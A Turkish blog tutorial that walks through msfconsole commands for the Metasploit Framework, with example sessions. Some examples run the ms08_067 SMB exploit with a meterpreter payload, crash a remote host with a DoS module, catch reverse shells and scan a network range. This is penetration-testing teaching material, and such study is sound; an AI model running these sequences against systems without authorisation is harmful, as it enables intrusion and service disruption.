Metasploit Komutları | |||||
Bu yazıda sizlerle msfconsole komutları paylaşılacaktır. Bu komutlar bir Metasploit Framework arayüzü olan msfconsole'daki yetkinliğinizi arttıracağı için sizin metasploit framework ile olan etkileşiminizde daha etkili bir manevra kabiliyeti kazanmanızı sağlayacaktır. Öncelikle bu başlığa daha önceki ilintili başlıkları okumadan geldiyseniz konu zincirini göstermek adına aşağıdaki liste verilmiştir:
Şimdi başlıca metasploit komutlarına (daha doğru ifadeyle msfconsole komutlarına) bakabiliriz. a. “help” komutu Msfconsole içerisinde kullanılabilecek komutların listesini ve açıklamalarını ekrana basmaya yarar. Kullanımı şu şekildedir: msf > help ya da msf > ? Yukarıdaki her iki komut ile de yardım menüsü (kullanılabilecek komut listesi ve detayları) görüntülenebilir. b. “show” komutu Metasploit framework'ünde yüklü tüm Encoder'ları, NOP Generator'ları (yani çeşit çeşit NOP Oluşturucu Modülleri), Exploit'leri, Payload'ları ve Auxiliary'leri alt alta sıralamaya yarar. msf > show
i) “show exploits” komutu
Sadece yüklü exploit'leri ekrana basar. msf > show exploits ii) “show payloads” komutu Sadece yüklü payload'ları ekrana basar. msf > show payloads NOT: Eğer bir exploit seçilmişse ve bu exploit seçili vaziyetteyken show payloads denmişse bu durumda sadece seçilen exploit'e uygun payload'lar sıralanır. iii) “show auxiliary” komutu Sadece yüklü auxiliary'leri ekrana basar. msf > show auxiliary iv) “show options” komutu Eğer bir exploit seçilmişse exploit'in (modülün) değer konabilecek parametrelerini gösterir. Eğer exploit sonrası bir de payload seçilmişse bu durumda hem exploit'in hem de payload'un değer konulabilecek parametrelerini gösterir. msf > show options v) “show targets” komutu Seçilen exploit'in işe yaradığı işletim sistemlerini sıralar. Exploit seçildikten sonra kullanılmalıdır. Aksi takdire [-] No exploit module selected uyarısı verir. msf > show targets vi) “show advanced” komutu Seçilen exploit ya da payload üzerinde ince ayar yapmaya yarar. Kullanıldığında ekrana gelişmiş ayar değişkenlerinin (parametrelerinin) adı ve tuttukları değerler sıralanır. Bu değişkenler set komutu ile set edilebilmektedir. msf > show advanced c. “search” komutu Msfconsole arayüzü modül aramada genişletilmiş filtreleme özelliğine sahiptir. Örneğin gereksinim duyduğunuz kriterlere sahip bir modül aramaktasınız. Bu durumda search komutuna ekleyeceğiniz filtrelemeler sayesinde arzunuza uygun sonuca daha çabuk bir şekilde ulaşabilirsiniz. Örn; msf > search ms09-01 Aşağıda search komutlarıyla ise nasıl daha spesifik aramalar yapılabileceği gösterilmiştir:
i) “search name:something” komutu
Açıklayıcı bir ada göre arama yapmak için “name” anahtar sözcüğü kullanılır. Örn; msf > search name:php // php isminin geçtiği modüller aranır. ii) “search path:something” komutu Sadece belirli bir dizin altında arama yapmak için “path” anahtar sözcüğü kullanılır. Örn; msf > search path:scada
Çıktı:
Name ====== auxiliary/admin/scada/igss_exec_17 auxiliary/dos/scada/backhoff_twincat auxiliary/dos/scada/igss9_dataserver exploit/windows/scada/citect_scada_odbc exploit/windows/scada/codesys_web_server exploit/windows/scada/daq_factory_bof … … iii) “search platform:something” komutu Belirli bir platforma özgü arama yapmak için “platform” anahtar sözcüğü kullanılır. Örn; msf > search platform:linux
Çıktı:
exploit/linux/ftp/proftp_sreplace exploit/linux/ftp/proftp_telnet_iac exploit/linux/games/ut2004_secure exploit/linux/http/gpad_format_string exploit/linux/http/linksys_apply_cgi exploit/linux/http/peercast_url … … iv) “search type:something” komutu Belirli bir modülün tüm elemanlarını sıralamak için type anahtar sözcüğü kullanılır. Örn; msf > search type:exploit // Sadece yüklü tüm exploit'leri sıralar. msf > search type:auxiliary // Sadece yüklü tüm auxiliary'leri sıralar. msf > search type:payload // Sadece yüklü tüm payload'ları sıralar. msf > search type:post // Sadece yüklü post-exploit'leri sıralar. v) “search author:something” komutu Yayımlayıcı kriterine göre arama yapmayı sağlar. Örneğin msf > search author:celil
Çıktı:
Matching Modules ============== Name Disclosure Date --------- ------------------ exploit/windows/scada/codesys_web_server … vi) “search cve:something” komutu Cve kriterine göre arama yapmayı sağlar. Cve, sektörde bilinen tüm zafiyetleri tanımlamak için zafiyetlerden her birine verilen benzersiz bir kimlik numarasıdır. Her zafiyetin kendine has cve numarası vardır. Bu güvenlik sektöründe bir standarttır. Cve'nin açılımı common vulnerabilities and exposures (Kamuya Yansımış Bilinen Açıklıklar ve Beyanları)'dır. msf > search cve:2012 // cve'si 2012'yle başlayanları listeler. vi) Birden fazla filtre ile “search” komutu Birden fazla kritere göre de arama yapılabilmektedir. Bu sayede arama sonucu daha da daraltılmış olur ve istediğimize daha çabuk ulaşabiliriz. msf > search cve:2011 author:jduck platform:linux
Çıktı:
Matching Modules ============== Name Disclosure Date Description -------- --------------- ------------ exploit/linux/misc/netsupport_manager_agent 2011-01-08 Netsupport Manager Agent Remote Buffer Overflow ç. “info” komutu Belirli bir modül hakkında açıklayıcı bilgiler sunmaya yarar. Örn; msf > info exploit/windows/smb/ms08_067_netapi d. “use” komutu İstenilen exploit, payload ve auxiliary'yi seçmek için kullanılır. Örn; msf > use auxiliary/dos/windows/smb/ms09_001_write Not: Diğer modülleri (encoders, nops,...) seçmek için farklı bir yol izlenmektedir. Örneğin; msf > use path/payloadIsmi msf payload(payloadIsmi) > generate -e encoderIsmi -b 'SilinecekKarakterler' -t ciktiFormati -s NOPUzunlugu Payload için kullanılmakta olan generate komutu -e parametresi ile kullanılacak encoder ismini alır, -b parametresi ile encoding işlemi sırasında türeyen gereksiz hangi karakterlerin silineceği bilgisini alır, -t parametresi ile encoding işlemi sonrası oluşacak çıktının formatı bilgisini alır, -s parametresi ile de eğer gerekliyse kullanılacak NOP karakterlerinin uzunluğu bilgisini alır. Encoder'lar ve NOP'lar bu şekilde kullanılabilir. Bu sayılan -e, -b, -t ve -s parametreleri tamamen optional'dır (yani şayet isteniyorsa kullanılabilir parametrelerdir). Zaruri değildirler. Eğer belirtilmezlerse (yani sadece msf payload(payloadIsmi) > generate şeklinde kullanılırsa) parametre tercihlerini msfconsole aracına bırakmış olursunuz. e. “set” komutu Kullanılan modüle ait özellikleri konfigure etmek için set komutu kullanılır. Örn; msf > set RHOST 192.168.1.3 f. “setg” komutu Msfconsole'da birden fazla modül kullanılacaksa ve bu modüller aynı hedefe doğru denenecekse her modül için tekrar tekrar örneğin aynı RPORT (yani Remote Port) değerini girmek yerine setg komutuyle bir kez RPORT değeri girebilir ve tüm denenebilecek modüllerin RPORT'u o değerle pratik olarak doldurulabilir. Bu şekilde metasploit framework içerisindeki tüm denenebilecek modüllerin RPORT değerleri aynı değer olur. Örn; msf > setg LHOST 192.168.0.13 LHOST => 192.168.0.13 msf > setg RHOST 192.168.0.14 RHOST => 192.168.0.14 msf > save Saved configuration to: /root/.msf3/config g. “unset” komutu Kullanılan modülün set edilen bir özelliğinin değerini boşaltmaya / temizlemeye (unset etmeye) yarar. Örn; msf > use exploit/windows/smb/ms08_067_netapi msf > set PAYLOAD windows/meterpreter/bind_tcp msf > unset PAYLOAD ğ. “unsetg” komutu Birden fazla modülün aynı hedef sisteme deneneceği durumlarda örneğin aynı değerde olacak RHOST (Remote Host) değerini tekrar tekrar herbir modüle girmek yerine setg ile bir defa girip hepsine girmiş gibi yapabiliyorduk. Eğer bu yapılan işlem bir süre sonra geri almak istersek unsetg komutunu kullanabiliriz. Örn; msf > unsetg SMBDirect Bu örneğe göre bu şekilde msfconsole'da smb servisi üzerine testler yapan diğer tüm modüllerdeki SMBDirect parametresini daha önce setg ile tanımlanan değerinden temizlemiş olacağız ve boş ya da varsayılan değere sahip kılmış olacağız. h. “exploit” komutu Seçilen exploit'i çalıştırmak için kullanılır. Örn; msf > use exploit/windows/smb/ms08_067_netapi msf > set PAYLOAD windows/meterpreter/bind_tcp msf > set LHOST X.X.X.X // Saldıran Sistem IP msf > set RHOST Y.Y.Y.Y // Hedef Sistem IP msf > exploit ı. “check” komutu Seçilen exploit'in hedefte işe yarayıp yaramayacağını tespit eder. Direk check yerine exploit diyerek de bunu anlayabiliriz, fakat eğer exploit işe yararsa bu durumda belki hedef makinaya zarar vermiş olabiliriz. Çünkü bazen bazı modüller gönderildikleri sistemin kararsız çalışmasına, çökmesine ya da bir daha asla açılamamasına neden olabilir. Sızma testçi olarak müşterinin makinasına zarar vermek istemeyeceğimizden ve müşterinin makinasının sadece exploit edilip edilemeyeceğini bilmek isteyeceğimizden dolayı check komutu kullanışlıdır. Check komutu ile zafiyetin olduğunu tespit edebilir ve müşteriye zafiyeti raporlarken dilersek exploit'i çalıştırdığımız takdirde ne gibi bir zayiatla karşılaşabileceklerini göstermek için hedef sistemle aynı teknolojinin yer aldığı bir lab ortamı oluşturabilir ve orada zayiatı uygulamalı olarak gösterebiliriz. msf > use exploit/windows/smb/ms08_067_netapi msf > set PAYLOAD windows/meterpreter/bind_tcp msf > set LHOST X.X.X.X // Saldıran Sistem IP msf > set RHOST Y.Y.Y.Y // Hedef Sistem IP msf > check Not: Bazı modüller check komutunu desteklemediğinden test edilen sistemlerde modülleri kullanıp kullanmama konusunda dikkatli olunmalıdır. i. “run” komutu Seçili auxiliary'yi çalıştırmak için “exploit” komutunu kullanmak yerine run komutunu kullanmak daha doğrudur. Fakat exploit komutu da aynı işlemi gerçekleştirmektedir. Örn; msf auxiliary(ms09_001_write) > run
Çıktı:
Attempting to crash the remote host... j. “back” komutu Bir modül seçildikten sonra seçimi iptal etmek için back komutu kullanılır. Örn; msf auxiliary ( ms09_001_write ) > back msf > k. “connect” komutu Hedef host'a telnet, netcat gibi bağlantılar kurabilmek için kullanılır. msf > connect 192.168.0.13 23 // Hedef sistemin 23 portuna, yani telnet servisine bağlanılmaya çalışılmaktadır.
Çıktı:
[*] Connected to 192.168.1.1:23 ÿýÿýÿý!ÿûÿû DD-WRT v24 std (c) 2008 NewMedia-NET GmbH Release: 07/27/08 (SVN revision: 10011) ÿ DD-WRT login: l. “resource” komutu Harici bir dosyada yer alan Ruby / Python / Perl gibi kodların msfconsole arayüzünde çalıştırılmasını sağlar. Resource (kaynak) komutu mevcut metasploit modülleri üzerinde farklı farklı aksiyonlar almak için kodlanmış betik dosyalarının msfconsole arayüzüne yüklenmesi için kullanılır. Bir msfconsole komutu olan resource komutunun kabul ettiği dosya formatı .rc'dir ve dosya içeriği olarak da salt ruby / python / perl kodları yerine bir şablon ve onun içerisine koyulacak ruby / python / perl kodlamaları gereksinimi duyar. Bu şekilde sorunsuz bir şekilde msfconsole arayüzü üzerinden modüller üzerinde farklı aksiyonlar alınabilir (örn; msfconsole'daki bir modülün belirli bir parametresini verilen resource dosyasındaki betik dilinde tanımlı dizi değişkeni elemanlarınca bir bir deneme ya da bir modülün çalışmasını belli bir loop (döngü) ile tekrarlama,... gibi). msf > resource kodlar.rc m. “irb” komutu Bildiğiniz üzere metasploit framework yorumlayıcı dillerden olan Ruby ile baştan aşağı tekrardan yazılmıştır. Dolayısıyla Metasploit'i indirip çalıştırdığınızda ruby environment'ından da (yani ruby betiklerinin çalışabilmesini sağlan platform gereçlerinden de) yararlanmaktasınız. Metasploit kullanırken size sunulan arayüzdeki imkanlardan daha fazlasını yapmak isteyebilirsiniz. irb (yani interactive ruby shell) sizin kafanızdan geçen bazı işlemleri ruby kodlamasını kullanarak hızlı bir şekilde test etmenizi sağlar. Girilen ruby kodlarının satır biter bitmez anlık olarak ekrana çıktısı verilmesi dolayısıyla test amaçlı kullanışlıdır. Msfconsole'da irb komutu ile ruby shell yapısına geçilebilir. msf > irb
Çıktı:
[*] Starting IRB shell... >> puts "Hello World" // Ruby kodu girilir. Hello World! // puts ekrana string'i basar. => nil // puts methodundan dönen değer... Msfconsole'da irb'nin olması size farklı bir esneklik kazandırmaktadır. Örneğin hedef sistemde bir oturum elde ettiniz ve hedef sistemde bir işlem yapacaksınız. Bu işlem için komut satırı kodlamasına (kabuk kodlamasına) hakimiyetiniz olması gerekir. Ancak ruby biliyorsanız irb'yi çalıştırıp gireceğiniz basit ruby komutları ile kolaylıkla işlemlerinizi gerçekleştirebilirsiniz. Yani sonuçta msfconsole irb'yi sunarak size ekstradan bir alternatif sunmakta. Tabir-i caizse hangisi kolayınıza geliyorsa demekte. Bu nedenle irb msfconsole'u esnek kılan unsurlardan bir tanesidir. n. “hosts” komutu Msfconsole'da hedef tahtasına oturttuğunuz host'ları (makinaları) sıralar. Bu komut birden fazla modülün birden fazla hedef sisteme denenmek üzere konfigure edildiği durumlarda kullanılabilir. msf > hosts
Çıktı:
Hosts ====== address name os_name os_sp purpose ------------ -------------- ----------- ------ ------- 192.168.0.19 PENTEST-WINXP Windows XP SP2 client 193.140.9.6 Windows 7 client o. “sessions” komutu Msfconsole'da seçilen modüller hedef host'lara karşı birer birer çalıştırıldıklarında ve hedef host'larda oturumlar elde edildiğinde elinizin altındaki tüm makinaları listelemek için sessions komutunu kullanabilirsiniz. msf > sessions // ya da sessions -l
Çıktı:
Active sessions ============ id Type Information Connection --- ------------------ ------------- ------------------------------ 1 meterpreter x86/win32 NT AUTHORITY 192.168.2.188:38919 -> @PENTEST- WINXP 192.168.2.206:4444 Bu örnekte bir adet session elde edildiği gösterilmiştir. Eğer birçok host'ta oturum elde edilirse sessions komutu ile ekranınıza elde ettiğiniz oturumlar satır satır gelecektir. Bu ele geçen makinalardan birine geçiş yapmak için sessions komutunun sıraladığı oturumlardan belirlediğinizin id'sini not alıp sessions komutunun -i parametresine argüman olarak ekleyebilir ve böylece hedef makinalardan birinin içerisine girebilirsiniz. msf > sessions
Çıktı:
Active sessions ============ id Type Information Connection --- --------------------- ------------ ------------------------------ 1 meterpreter x86/win32 NT AUTHORITY 192.168.2.188:38919 ->@PENTEST- WINXP 192.168.2.206:4444 msf > sessions -i 1 meterpreter > … // Meterpreter oturumuna geçilmiştir. ö. “background” komutu Bazen msfconsole'da bir host'a karşı kullandığınız modül çalışır vaziyetteyken başka modüller de çalıştırmak isteyebilirsiniz. Bu gibi durumlarda arayüzü işgal eden mevcut çalışan modülü background komutu ile geri plana atabilir ve başka modüller seçerek daha sistemli saldırılar düzenleyebilirsiniz. meterpreter > background msf > … Msfconsole içinde diğer modüllerle yaptığınız işlemler sonrası tekrar mevcut payload oturumunuza dönmek ve uzak sistemde işlemler yapmak istediğinizde sessions komutunu kullanıp komutun sıralayacağı session'lardan belirlediğinizin id'sini not alabilir ve sessions komutunun -i parametresine argüman olarak ekleyerek ilgili payload oturumuna dönüş yapabilirsiniz. msf > sessions // ya da sessions -l
Çıktı:
Active sessions ============ id Type Information Connection --- --------------------- ------------ ------------------------------ 1 meterpreter x86/win32 NT AUTHORITY 192.168.2.188:38919 ->@PENTEST- WINXP 192.168.2.206:4444 msf > sessions -i 1 meterpreter > … // Meterpreter oturumuna geçilmiştir. Böylece artık seçtiğimiz payload oturumu üzerinden uzak sisteme akmaya devam edilebilir. p. “jobs” komutu Msfconsole'da bazen modül çalışma süresinin uzun zaman alacağı durumlarla karşılaşılabilir. Örneğin uzak sistemden gelecek bağlantıyı yakalamak maksadıyla dinleme moduna sokan modüller ya da sözlük ve kaba kuvvet saldırıları yapan modüller gibi... Bu gibi durumlarda mevcut modül msfconsole arayüzünü işgal edeceği için bizi kımıldatamaz yapabilir. Eğer henüz sonuçlanmamış mevcut modül çalışırken başka modülleri de konfigure etmek / çalıştırmak istersek çalışması uzun sürecek modülleri exploit -j veya run -j komutlarıyla çalıştırabilirsiniz. Buradaki -j ( yani (j)ob ) parametresi modülün arka tarafta (background'da) çalışmasını sağlar. Bu şekilde çalışması uzun süren modül msfconsole ekranını işgal etmez ve msfconsole'da başka modüller seçip başka işlemler gerçekleştirebilirsiniz. Daha sonra ise arkaplana attığınız job'ların listesini jobs komutu ile görüntüleyebilirsiniz: msf > jobs // ya da jobs -l
Çıktı:
Jobs ==== Id Name Payload Payload opts -- ---------------------- ------------------------------- ----------------- 2 Exploit: multi/handler windows/meterpreter/reverse_tcp tcp://192.168.3.73:4455 Arkaplanda çalışan job'ları önyüze getirip yine etkileşim haline geçmek isterseniz jobs -i idNo komutunu kullanabilirsiniz. Bu örnek için jobs -i 2 diyerek multi/handler modülü önyüze çekilebilir. Arkaplanda çalışan ve sonuçlanmayı bekleyen job'lar çalışmalarını bitirdiklerinde jobs listesinden otomatikmen silinirler. Eğer kullandığınız modüller hedef sistemde size bağlantı gönderen türden modüllerdense modüller başarılı olmuş mu diye gelen bağlantıları (oturumları) görüntüleyen sessions komutu kullanılabilir. q. “services” komutu db_nmap ile hedefin portları taranır ve çalışan servisleri tespit edilir. Bu bilgiler veritabanına kaydedilir ve services komutu ile de tespit edilen bu servisler görüntülenir. msf > db_nmap -sV 193.140.9.0/24 msf > services
Çıktı:
Services ======= host port proto name state info --------------- ---- ----- ---- ----- --------------------------- 193.140.9.6 80 tcp http open Microsoft HTTPAPI httpd 2.0 193.140.9.34 80 tcp http open Apache-Coyote/1.1 Böylece servis isimlerine bakarak exploit aramasına yönelinir. r. “load” ve “unload” komutu Metasploit Framework'te plugin'ler (eklentiler) temel metasploit modülleri yanında başka kullanışlı araçların metasploit framework'e dahil edilmesi amacıyla oluşturulmuş bir kategoridir. Örneğin spesifik bir konuda olan metasploit modüllerini bünyesinde barındırıp hepsini tek elden çalıştırma imkanı sunmaları ya da harici bir popüler tool'u msfconsole arayüzünden kullanma imkanı sunmaları gibi... Msfconsole oturumunuza plugin yüklemek için load, yüklü plug'ini kaldırmak için ise unload komutu kullanılır. Örn; msf > load wmap [*] Successfully loaded plugin: wmap msf > wmap_run -h ... msf > unload wmap Unloading plugin wmap... unloaded. Not: Kali versiyonundan versiyonuna (daha spesifik tabirle msfconsole versiyonundan versiyonuna) bu kullanım syntax'ı değişebilmektedir. Örn; load wmap.rb ve unload wmap.rb gibi... Metasploit Framework'ün kurulu olduğu dizin içerisindeki plugins/ klasörü altında varsayılan plugin'ler yer alır. load komutu ve devamına getireceğiniz plugin ismi sonrası msfconsole, bu varsayılan plugins/ dizinine bakar. Eğer metasploit framework'ün plugins/ dizininde yer almayan harici bir plugin kullanılmak isteniyorsa yapılacak tek şey örneğin github'dan plugin'e ait dosyayı indirmek ve metasploit framework'ün kök dizininde yer alan plugins/ klasörü içerisine o dosyayı koyup load pluginIsmi komutuyla plugin'i msfconsole'a yüklemektir. Not: Metasploit Framework sürümden sürüme ve sistemden sisteme farklı dizinlere yerleşebildiğinden kullanmakta olduğunuz sistemde metasploit framework'ün nerede kurulu olduğunu tespit etmek için aşağıdaki komutu kullanabilirsiniz: find / -name "metasploit" -print Bu şekilde plugins/ klasörüne erişip harici plugin dosyanızı yerleştirebilirsiniz. s. “version” komutu Metasploit framework'ün ve msfconsole'un versiyonlarını gösterir. msf > version
Çıktı:
Framework: 4.11.1-2015031001 Console : 4.11.1-2015031001.15168 ş. “msfupdate” komutu Metasploit Framework'ünü güncellemeye yarar. Böylece en güncel exploit'leri, payload'ları,... edinebiliriz. msf > msfupdate Not: Artık Metasploit Framework arayüzü olan msfconsole msfupdate komutunu desteklememektedir. Eski Kali Linux makinalarınızda msfupdate'i halen kullanabilirsiniz, ancak yeni Kali Linux makinaları için aşağıdaki komut dizisini kullanmalısınız: msf > apt-get update; apt-get install metasploit-framework t. “makerc” komutu En sonki makerc komutu kullanımından beri msfconsole'a girilen tüm metasploit komutlarını bir dosyaya yazar. > makerc komutlar.txt // Geçmişi tutacak komutlar.txt dosyasına konur.
Çıktı:
[*] Saving last 11 commands to komutlar.txt u. “quit” komutu Msfconsole'dan çıkarır. msf > quit
Çıktı:
root@kali:~# v. “clear” komutu Tıpkı terminali temizleyen clear komutu gibi msfconsole'da da clear adlı komut ekranı temizler. msf > clear w. “whois” komutu Belirtilen domain'in whois bilgilerini ekrana basar. Örn; msf > whois google.com // ya da includekarabuk.com Not: Kayıtları içeren veritabanı yalnızca .COM, .NET, .EDU uzantılı domain'leri kapsamaktadır. Bu nedenle örneğin .TR uzantılı domain'ler whois tool'u ile sorgulanamaz. Not: Domain adreslerini whois ile sorgularken başına hostname konmamalıdır. Yani whois www.google.com değil de whois google.com olarak sorgulama yapılmalıdır. Yararlanılan Kaynaklar:
|
|||||
Bu yazı 13.11.2018 tarihinde, saat 13:58:48'de yazılmıştır. 30.08.2024 tarihi ve 20:59:15 saatinde ise güncellenmiştir. | |||||
|
|||||
Yorumlar |
|||||
Henüz yorum girilmemiştir. | |||||
Yorum Ekle | |||||